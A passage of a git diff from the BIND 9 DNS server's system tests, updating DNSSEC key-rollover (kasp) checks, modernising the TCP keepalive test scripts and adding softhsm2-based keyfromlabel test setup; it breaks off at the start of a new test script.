 set_server "ns3" "10.53.0.3"
-# TODO (GL #2471).
+CDNSKEY="no"
+# These are the same time values as calculated for ksk-doubleksk.
+Lksk=5184000
+Lzsk=31536000
+IretKSK=180000
+IretZSK=867600
+# KSK (KEY1) is outgoing.
+key_clear        "KEY1"
+set_keyrole      "KEY1" "ksk"
+set_keylifetime  "KEY1" "${Lksk}"
+set_keyalgorithm "KEY1" "$DEFAULT_ALGORITHM_NUMBER" "$DEFAULT_ALGORITHM" "$DEFAULT_BITS"
+set_keysigning   "KEY1" "yes"
+set_zonesigning  "KEY1" "yes"
+set_keystate     "KEY1" "GOAL"         "hidden"
+set_keystate     "KEY1" "STATE_DNSKEY" "omnipresent"
+set_keystate     "KEY1" "STATE_KRRSIG" "omnipresent"
+set_keystate     "KEY1" "STATE_DS"     "unretentive"
+# KSK (KEY2) is incoming.
+key_clear        "KEY2"
+set_keyrole      "KEY2" "ksk"
+set_keylifetime  "KEY2" "${Lksk}"
+set_keyalgorithm "KEY2" "$DEFAULT_ALGORITHM_NUMBER" "$DEFAULT_ALGORITHM" "$DEFAULT_BITS"
+set_keysigning   "KEY2" "yes"
+set_zonesigning  "KEY2" "no"
+set_keystate     "KEY2" "GOAL"         "omnipresent"
+set_keystate     "KEY2" "STATE_DNSKEY" "omnipresent"
+set_keystate     "KEY2" "STATE_KRRSIG" "omnipresent"
+set_keystate     "KEY2" "STATE_DS"     "rumoured"
+# We will introduce the third KSK shortly.
+key_clear        "KEY3"
+# ZSK (KEY4).
+key_clear        "KEY4"
+set_keyrole      "KEY4" "zsk"
+set_keylifetime  "KEY4" "${Lzsk}"
+set_keyalgorithm "KEY4" "$DEFAULT_ALGORITHM_NUMBER" "$DEFAULT_ALGORITHM" "$DEFAULT_BITS"
+set_keysigning   "KEY4" "no"
+set_zonesigning  "KEY4" "yes"
+set_keystate     "KEY4" "GOAL"         "omnipresent"
+set_keystate     "KEY4" "STATE_DNSKEY" "omnipresent"
+set_keystate     "KEY4" "STATE_ZRRSIG" "omnipresent"
+# Run preliminary tests.
+check_keys
+check_dnssecstatus "$SERVER" "$POLICY" "$ZONE"
+check_apex
+check_subdomain
+dnssec_verify
+# Roll over KEY2.
+# Set expected key lifetime, which is DNSKEY TTL plus the zone propagation delay,
+# plus the publish-safety: 7200s + 1h + 1d = 97200 seconds.
+set_keylifetime  "KEY2" "97200"
+created=$(key_get KEY2 CREATED)
+rndc_rollover "$SERVER" "$DIR" $(key_get KEY2 ID) "${created}" "$ZONE"
+# Update expected number of keys and key states.
+set_keystate "KEY2" "GOAL" "hidden"
+set_policy "ksk-doubleksk" "4" "7200"
+CDNSKEY="no"
+# New KSK (KEY3) is introduced.
+set_keyrole      "KEY3" "ksk"
+set_keylifetime  "KEY3" "${Lksk}"
+set_keyalgorithm "KEY3" "$DEFAULT_ALGORITHM_NUMBER" "$DEFAULT_ALGORITHM" "$DEFAULT_BITS"
+set_keysigning   "KEY3" "yes"
+set_zonesigning  "KEY3" "no"
+set_keystate     "KEY3" "GOAL"         "omnipresent"
+set_keystate     "KEY3" "STATE_DNSKEY" "rumoured"
+set_keystate     "KEY3" "STATE_KRRSIG" "rumoured"
+set_keystate     "KEY3" "STATE_DS"     "hidden"
+# Run tests again. We now expect four keys (3x KSK, 1x ZSK).
+check_keys
+check_dnssecstatus "$SERVER" "$POLICY" "$ZONE"
+check_apex
+check_subdomain
+dnssec_verify
+
+# Test dynamic zones that switch to inline-signing.
+set_zone "dynamic2inline.kasp"
+set_policy "default" "1" "3600"
+set_server "ns6" "10.53.0.6"
+# Key properties.
+key_clear        "KEY1"
+set_keyrole      "KEY1" "csk"
+set_keylifetime  "KEY1" "0"
+set_keyalgorithm "KEY1" "13" "ECDSAP256SHA256" "256"
+set_keysigning   "KEY1" "yes"
+set_zonesigning  "KEY1" "yes"
+key_clear "KEY2"
+key_clear "KEY3"
+key_clear "KEY4"
+
+# The CSK is rumoured.
+set_keystate "KEY1" "GOAL"         "omnipresent"
+set_keystate "KEY1" "STATE_DNSKEY" "rumoured"
+set_keystate "KEY1" "STATE_KRRSIG" "rumoured"
+set_keystate "KEY1" "STATE_ZRRSIG" "rumoured"
+set_keystate "KEY1" "STATE_DS"     "hidden"
+# Various signing policy checks.
+check_keys
+check_dnssecstatus "$SERVER" "$POLICY" "$ZONE"
+check_apex
+check_subdomain
+dnssec_verify
 
 #
 # Testing algorithm rollover.
@@ -3455,20 +3691,20 @@ IretZSK=0
 # Zone: step1.algorithm-roll.kasp
 #
 set_zone "step1.algorithm-roll.kasp"
-set_policy "rsasha1" "2" "3600"
+set_policy "rsasha256" "2" "3600"
 set_server "ns6" "10.53.0.6"
 # Key properties.
 key_clear        "KEY1"
 set_keyrole      "KEY1" "ksk"
 set_keylifetime  "KEY1" "0"
-set_keyalgorithm "KEY1" "5" "RSASHA1" "2048"
+set_keyalgorithm "KEY1" "8" "RSASHA256" "2048"
 set_keysigning   "KEY1" "yes"
 set_zonesigning  "KEY1" "no"
 
 key_clear        "KEY2"
 set_keyrole      "KEY2" "zsk"
 set_keylifetime  "KEY2" "0"
-set_keyalgorithm "KEY2" "5" "RSASHA1" "2048"
+set_keyalgorithm "KEY2" "8" "RSASHA256" "2048"
 set_keysigning   "KEY2" "no"
 set_zonesigning  "KEY2" "yes"
 key_clear "KEY3"
@@ -3509,7 +3745,7 @@ set_server "ns6" "10.53.0.6"
 key_clear        "KEY1"
 set_keyrole      "KEY1" "csk"
 set_keylifetime  "KEY1" "0"
-set_keyalgorithm "KEY1" "5" "RSASHA1" "2048"
+set_keyalgorithm "KEY1" "8" "RSASHA256" "2048"
 set_keysigning   "KEY1" "yes"
 set_zonesigning  "KEY1" "yes"
 key_clear "KEY2"
@@ -3661,6 +3897,44 @@ check_apex
 check_subdomain
 dnssec_verify
 
+#
+# Zone step1.going-straight-to-none-dynamic.kasp
+#
+set_zone "step1.going-straight-to-none-dynamic.kasp"
+set_policy "default" "1" "3600"
+set_server "ns6" "10.53.0.6"
+# Key properties.
+set_keyrole      "KEY1" "csk"
+set_keylifetime  "KEY1" "0"
+set_keyalgorithm "KEY1" "13" "ECDSAP256SHA256" "256"
+set_keysigning   "KEY1" "yes"
+set_zonesigning  "KEY1" "yes"
+# DNSKEY, RRSIG (ksk), RRSIG (zsk) are published. DS needs to wait.
+set_keystate "KEY1" "GOAL"         "omnipresent"
+set_keystate "KEY1" "STATE_DNSKEY" "omnipresent"
+set_keystate "KEY1" "STATE_KRRSIG" "omnipresent"
+set_keystate "KEY1" "STATE_ZRRSIG" "omnipresent"
+set_keystate "KEY1" "STATE_DS"     "omnipresent"
+# This policy only has one key.
+key_clear "KEY2"
+key_clear "KEY3"
+key_clear "KEY4"
+
+check_keys
+check_dnssecstatus "$SERVER" "$POLICY" "$ZONE"
+
+# The first key is immediately published and activated.
+created=$(key_get KEY1 CREATED)
+set_keytime "KEY1" "PUBLISHED"   "${created}"
+set_keytime "KEY1" "ACTIVE"      "${created}"
+set_keytime "KEY1" "SYNCPUBLISH" "${created}"
+# Key lifetime is unlimited, so not setting RETIRED and REMOVED.
+check_keytimes
+
+check_apex
+check_subdomain
+dnssec_verify
+
 # Reconfig dnssec-policy (triggering algorithm roll and other dnssec-policy
 # changes).
 echo_i "reconfig dnssec-policy to trigger algorithm rollover"
@@ -3710,6 +3984,34 @@ wait_for_done_signing() {
 	status=$((status+ret))
 }
 
+# Test dynamic zones that switch to inline-signing.
+set_zone "dynamic2inline.kasp"
+set_policy "default" "1" "3600"
+set_server "ns6" "10.53.0.6"
+# Key properties.
+key_clear        "KEY1"
+set_keyrole      "KEY1" "csk"
+set_keylifetime  "KEY1" "0"
+set_keyalgorithm "KEY1" "13" "ECDSAP256SHA256" "256"
+set_keysigning   "KEY1" "yes"
+set_zonesigning  "KEY1" "yes"
+key_clear "KEY2"
+key_clear "KEY3"
+key_clear "KEY4"
+
+# The CSK is rumoured.
+set_keystate "KEY1" "GOAL"         "omnipresent"
+set_keystate "KEY1" "STATE_DNSKEY" "rumoured"
+set_keystate "KEY1" "STATE_KRRSIG" "rumoured"
+set_keystate "KEY1" "STATE_ZRRSIG" "rumoured"
+set_keystate "KEY1" "STATE_DS"     "hidden"
+# Various signing policy checks.
+check_keys
+check_dnssecstatus "$SERVER" "$POLICY" "$ZONE"
+check_apex
+check_subdomain
+dnssec_verify
+
 #
 # Testing going insecure.
 #
@@ -3877,12 +4179,38 @@ key_clear "KEY4"
 # Various signing policy checks.
 check_keys
 check_dnssecstatus "$SERVER" "$POLICY" "$ZONE"
-check_apex
-check_subdomain
 dnssec_verify
 
-echo_i "status: $status"
-exit $status
+#
+# Zone: step1.going-straight-to-none-dynamic.kasp
+#
+set_zone "step1.going-straight-to-none-dynamic.kasp"
+set_policy "none" "1" "3600"
+set_server "ns6" "10.53.0.6"
+
+# The zone will go bogus after signatures expire, but remains validly signed for now.
+
+# Key properties.
+set_keyrole      "KEY1" "csk"
+set_keylifetime  "KEY1" "0"
+set_keyalgorithm "KEY1" "13" "ECDSAP256SHA256" "256"
+set_keysigning   "KEY1" "yes"
+set_zonesigning  "KEY1" "yes"
+# DNSKEY, RRSIG (ksk), RRSIG (zsk) are published. DS needs to wait.
+set_keystate "KEY1" "GOAL"         "omnipresent"
+set_keystate "KEY1" "STATE_DNSKEY" "omnipresent"
+set_keystate "KEY1" "STATE_KRRSIG" "omnipresent"
+set_keystate "KEY1" "STATE_ZRRSIG" "omnipresent"
+set_keystate "KEY1" "STATE_DS"     "omnipresent"
+# This policy only has one key.
+key_clear "KEY2"
+key_clear "KEY3"
+key_clear "KEY4"
+
+# Various signing policy checks.
+check_keys
+check_dnssecstatus "$SERVER" "$POLICY" "$ZONE"
+dnssec_verify
 
 #
 # Testing KSK/ZSK algorithm rollover.
@@ -3904,14 +4232,14 @@ set_server "ns6" "10.53.0.6"
 key_clear        "KEY1"
 set_keyrole      "KEY1" "ksk"
 set_keylifetime  "KEY1" "0"
-set_keyalgorithm "KEY1" "5" "RSASHA1" "2048"
+set_keyalgorithm "KEY1" "8" "RSASHA256" "2048"
 set_keysigning   "KEY1" "yes"
 set_zonesigning  "KEY1" "no"
 
 key_clear        "KEY2"
 set_keyrole      "KEY2" "zsk"
 set_keylifetime  "KEY2" "0"
-set_keyalgorithm "KEY2" "5" "RSASHA1" "2048"
+set_keyalgorithm "KEY2" "8" "RSASHA256" "2048"
 set_keysigning   "KEY2" "no"
 set_zonesigning  "KEY2" "yes"
 # New ECDSAP256SHA256 keys.
@@ -4306,7 +4634,7 @@ set_server "ns6" "10.53.0.6"
 key_clear	 "KEY1"
 set_keyrole      "KEY1" "csk"
 set_keylifetime  "KEY1" "0"
-set_keyalgorithm "KEY1" "5" "RSASHA1" "2048"
+set_keyalgorithm "KEY1" "8" "RSASHA256" "2048"
 set_keysigning   "KEY1" "yes"
 set_zonesigning  "KEY1" "yes"
 # New ECDSAP256SHA256 key.
@@ -4605,5 +4933,49 @@ dnssec_verify
 # an unlimited lifetime.  Fallback to the default loadkeys interval.
 check_next_key_event 3600
 
+_check_soa_ttl() {
+	dig_with_opts @10.53.0.6 example SOA > dig.out.ns6.test$n.soa2 || return 1
+	soa1=$(awk '$4 == "SOA" { print $7 }' dig.out.ns6.test$n.soa1)
+	soa2=$(awk '$4 == "SOA" { print $7 }' dig.out.ns6.test$n.soa2)
+	ttl1=$(awk '$4 == "SOA" { print $2 }' dig.out.ns6.test$n.soa1)
+	ttl2=$(awk '$4 == "SOA" { print $2 }' dig.out.ns6.test$n.soa2)
+	test ${soa1:-1000} -lt ${soa2:-0} || return 1
+	test ${ttl1:-0} -eq $1 || return 1
+	test ${ttl2:-0} -eq $2 || return 1
+}
+
+n=$((n+1))
+echo_i "Check that 'rndc reload' of just the serial updates the signed instance ($n)"
+TSIG=
+ret=0
+dig_with_opts @10.53.0.6 example SOA > dig.out.ns6.test$n.soa1 || ret=1
+cp ns6/example2.db.in ns6/example.db || ret=1
+nextpart ns6/named.run > /dev/null
+rndccmd 10.53.0.6 reload || ret=1
+wait_for_log 3 "all zones loaded" ns6/named.run
+# Check that the SOA SERIAL increases and check the TTLs (should be 300 as
+# defined in ns6/example2.db.in).
+retry_quiet 10 _check_soa_ttl 300 300 || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "Check that restart with zone changes and deleted journal works ($n)"
+TSIG=
+ret=0
+dig_with_opts @10.53.0.6 example SOA > dig.out.ns6.test$n.soa1 || ret=1
+stop_server --use-rndc --port ${CONTROLPORT} ns6
+# TTL of all records change from 300 to 400
+cp ns6/example3.db.in ns6/example.db || ret=1
+rm ns6/example.db.jnl
+nextpart ns6/named.run > /dev/null
+start_server --noclean --restart --port ${PORT} ns6
+wait_for_log 3 "all zones loaded" ns6/named.run
+# Check that the SOA SERIAL increases and check the TTLs (should be changed
+# from 300 to 400 as defined in ns6/example3.db.in).
+retry_quiet 10 _check_soa_ttl 300 400 || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/kasp/tests_sh_kasp.py b/bin/tests/system/kasp/tests_sh_kasp.py
new file mode 100644
index 0000000000..d01125d0c1
--- /dev/null
+++ b/bin/tests/system/kasp/tests_sh_kasp.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_kasp(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/keepalive/clean.sh b/bin/tests/system/keepalive/clean.sh
index 2b5b2b62fc..9ccbd121b1 100644
--- a/bin/tests/system/keepalive/clean.sh
+++ b/bin/tests/system/keepalive/clean.sh
@@ -1,7 +1,11 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/keepalive/ns1/named.conf.in b/bin/tests/system/keepalive/ns1/named.conf.in
index 88e0781ee8..32dbf90056 100644
--- a/bin/tests/system/keepalive/ns1/named.conf.in
+++ b/bin/tests/system/keepalive/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -19,11 +21,12 @@ options {
 	listen-on-v6 { none; };
 	recursion no;
 	notify yes;
+	dnssec-validation no;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/keepalive/ns1/root.db b/bin/tests/system/keepalive/ns1/root.db
index dab5cea7f7..17780d13f0 100644
--- a/bin/tests/system/keepalive/ns1/root.db
+++ b/bin/tests/system/keepalive/ns1/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/keepalive/ns2/example.db b/bin/tests/system/keepalive/ns2/example.db
index 1edd62e6e1..ccc6ef96e4 100644
--- a/bin/tests/system/keepalive/ns2/example.db
+++ b/bin/tests/system/keepalive/ns2/example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/keepalive/ns2/named.conf.in b/bin/tests/system/keepalive/ns2/named.conf.in
index b753284875..8ccf1c4343 100644
--- a/bin/tests/system/keepalive/ns2/named.conf.in
+++ b/bin/tests/system/keepalive/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -11,7 +13,7 @@
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -29,6 +31,7 @@ options {
 	recursion yes;
 	send-cookie yes;
 	tcp-advertised-timeout 150;
+	dnssec-validation no;
 };
 
 zone "." {
diff --git a/bin/tests/system/keepalive/ns3/named.conf.in b/bin/tests/system/keepalive/ns3/named.conf.in
index c018e11178..3713f13099 100644
--- a/bin/tests/system/keepalive/ns3/named.conf.in
+++ b/bin/tests/system/keepalive/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -20,6 +22,7 @@ options {
 	listen-on-v6 { none; };
 	recursion yes;
 	notify yes;
+	dnssec-validation no;
 };
 
 server 10.53.0.2 {
@@ -29,7 +32,7 @@ server 10.53.0.2 {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/keepalive/setup.sh b/bin/tests/system/keepalive/setup.sh
index c4670066e3..7ffda5583c 100644
--- a/bin/tests/system/keepalive/setup.sh
+++ b/bin/tests/system/keepalive/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/keepalive/tests.sh b/bin/tests/system/keepalive/tests.sh
index f33aa0a63f..7314a9e1c3 100644
--- a/bin/tests/system/keepalive/tests.sh
+++ b/bin/tests/system/keepalive/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 DIGOPTS="-p ${PORT}"
@@ -19,77 +23,77 @@ status=0
 
 echo_i "checking that dig handles TCP keepalive ($n)"
 ret=0
-n=`expr $n + 1`
+n=$((n + 1))
 $DIG $DIGOPTS +qr +keepalive foo.example @10.53.0.2 > dig.out.test$n
 grep "; TCP KEEPALIVE" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking that dig added TCP keepalive ($n)"
 ret=0
-n=`expr $n + 1`
+n=$((n + 1))
 $RNDCCMD stats
 grep "EDNS TCP keepalive option received" ns2/named.stats > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking that TCP keepalive is added for TCP responses ($n)"
 ret=0
-n=`expr $n + 1`
+n=$((n + 1))
 $DIG $DIGOPTS +vc +keepalive foo.example @10.53.0.2 > dig.out.test$n
 grep "; TCP KEEPALIVE" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking that TCP keepalive requires TCP ($n)"
 ret=0
-n=`expr $n + 1`
+n=$((n + 1))
 $DIG $DIGOPTS +keepalive foo.example @10.53.0.2 > dig.out.test$n
 grep "; TCP KEEPALIVE" dig.out.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking default value ($n)"
 ret=0
-n=`expr $n + 1`
+n=$((n + 1))
 $DIG $DIGOPTS +vc +keepalive foo.example @10.53.0.3 > dig.out.test$n
 grep "; TCP KEEPALIVE: 30.0 secs" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking configured value ($n)"
 ret=0
-n=`expr $n + 1`
+n=$((n + 1))
 $DIG $DIGOPTS +vc +keepalive foo.example @10.53.0.2 > dig.out.test$n
 grep "; TCP KEEPALIVE: 15.0 secs" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking re-configured value ($n)"
 ret=0
-n=`expr $n + 1`
+n=$((n + 1))
 $RNDCCMD tcp-timeouts 300 300 300 200 > output
-$DIFF -b output expected || ret=1
+diff -b output expected || ret=1
 $DIG $DIGOPTS +vc +keepalive foo.example @10.53.0.2 > dig.out.test$n
 grep "; TCP KEEPALIVE: 20.0 secs" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking server config entry ($n)"
 ret=0
-n=`expr $n + 1`
+n=$((n + 1))
 $RNDCCMD stats
-oka=`grep  "EDNS TCP keepalive option received" ns2/named.stats | \
-    tail -1 | awk '{ print $1}'`
+oka=$(grep  "EDNS TCP keepalive option received" ns2/named.stats | \
+    tail -1 | awk '{ print $1}')
 $DIG $DIGOPTS bar.example @10.53.0.3 > dig.out.test$n
 $RNDCCMD stats
-nka=`grep  "EDNS TCP keepalive option received" ns2/named.stats | \
-    tail -1 | awk '{ print $1}'`
+nka=$(grep  "EDNS TCP keepalive option received" ns2/named.stats | \
+    tail -1 | awk '{ print $1}')
 #echo oka ':' $oka
 #echo nka ':' $nka
 if [ "$oka" -eq "$nka" ]; then ret=1; fi
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/keepalive/tests_sh_keepalive.py b/bin/tests/system/keepalive/tests_sh_keepalive.py
new file mode 100644
index 0000000000..a2433c4029
--- /dev/null
+++ b/bin/tests/system/keepalive/tests_sh_keepalive.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_keepalive(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/keyfromlabel/clean.sh b/bin/tests/system/keyfromlabel/clean.sh
new file mode 100644
index 0000000000..1a5adb1d95
--- /dev/null
+++ b/bin/tests/system/keyfromlabel/clean.sh
@@ -0,0 +1,27 @@
+#!/bin/sh
+#
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+# shellcheck source=conf.sh
+. ../conf.sh
+
+set -e
+
+rm -f K*
+rm -f pin
+rm -f dsset-*
+rm -f *.example.db *.example.db.signed
+rm -f keyfromlabel.out.*
+rm -f pkcs11-tool.out.*
+rm -f signer.out.*
+
+OPENSSL_CONF= softhsm2-util --delete-token --token "softhsm2-keyfromlabel" >/dev/null 2>&1 || echo_i "softhsm2-keyfromlabel token not found for cleaning"
diff --git a/bin/tests/system/keyfromlabel/prereq.sh b/bin/tests/system/keyfromlabel/prereq.sh
new file mode 100644
index 0000000000..847cecb611
--- /dev/null
+++ b/bin/tests/system/keyfromlabel/prereq.sh
@@ -0,0 +1,32 @@
+#!/bin/sh -e
+#
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+. ../conf.sh
+
+[ -n "${SOFTHSM2_CONF}" ] || {
+    echo_i "skip: softhsm2 configuration not available"
+    exit 255
+}
+
+parse_openssl_config
+[ -f "$SOFTHSM2_MODULE" ] || {
+    echo_i "skip: softhsm2 module not available"
+    exit 1
+}
+
+for _bin in softhsm2-util pkcs11-tool; do
+    command -v "$_bin" >/dev/null || {
+        echo_i "skip: $_bin not available"
+        exit 1
+    }
+done
diff --git a/bin/tests/system/keyfromlabel/setup.sh b/bin/tests/system/keyfromlabel/setup.sh
new file mode 100644
index 0000000000..e99bd5e866
--- /dev/null
+++ b/bin/tests/system/keyfromlabel/setup.sh
@@ -0,0 +1,22 @@
+#!/bin/sh
+#
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+# shellcheck source=conf.sh
+. ../conf.sh
+
+set -e
+
+OPENSSL_CONF= softhsm2-util --init-token --free --pin 1234 --so-pin 1234 --label "softhsm2-keyfromlabel" | awk '/^The token has been initialized and is reassigned to slot/ { print $NF }'
+
+printf '%s' "${HSMPIN:-1234}" > pin
+PWD=$(pwd)
diff --git a/bin/tests/system/keyfromlabel/template.db.in b/bin/tests/system/keyfromlabel/template.db.in
new file mode 100644
index 0000000000..7941903808
--- /dev/null
+++ b/bin/tests/system/keyfromlabel/template.db.in
@@ -0,0 +1,24 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0. If a copy of the MPL was not distributed with this
+; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300	; 5 minutes
+@			IN SOA	ns root (
+				2000082401 ; serial
+				1800       ; refresh (30 minutes)
+				1800       ; retry (30 minutes)
+				1814400    ; expire (3 weeks)
+				3600       ; minimum (1 hour)
+				)
+			NS	ns
+ns			A	10.53.0.1
+
+txt			TXT	"test"
+
diff --git a/bin/tests/system/keyfromlabel/tests.sh b/bin/tests/system/keyfromlabel/tests.sh
new file mode 100644
index 0000000000..c7898599be
--- /dev/null
+++ b/bin/tests/system/keyfromlabel/tests.sh
@@ -0,0 +1,95 @@
+#!/bin/sh
+#
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
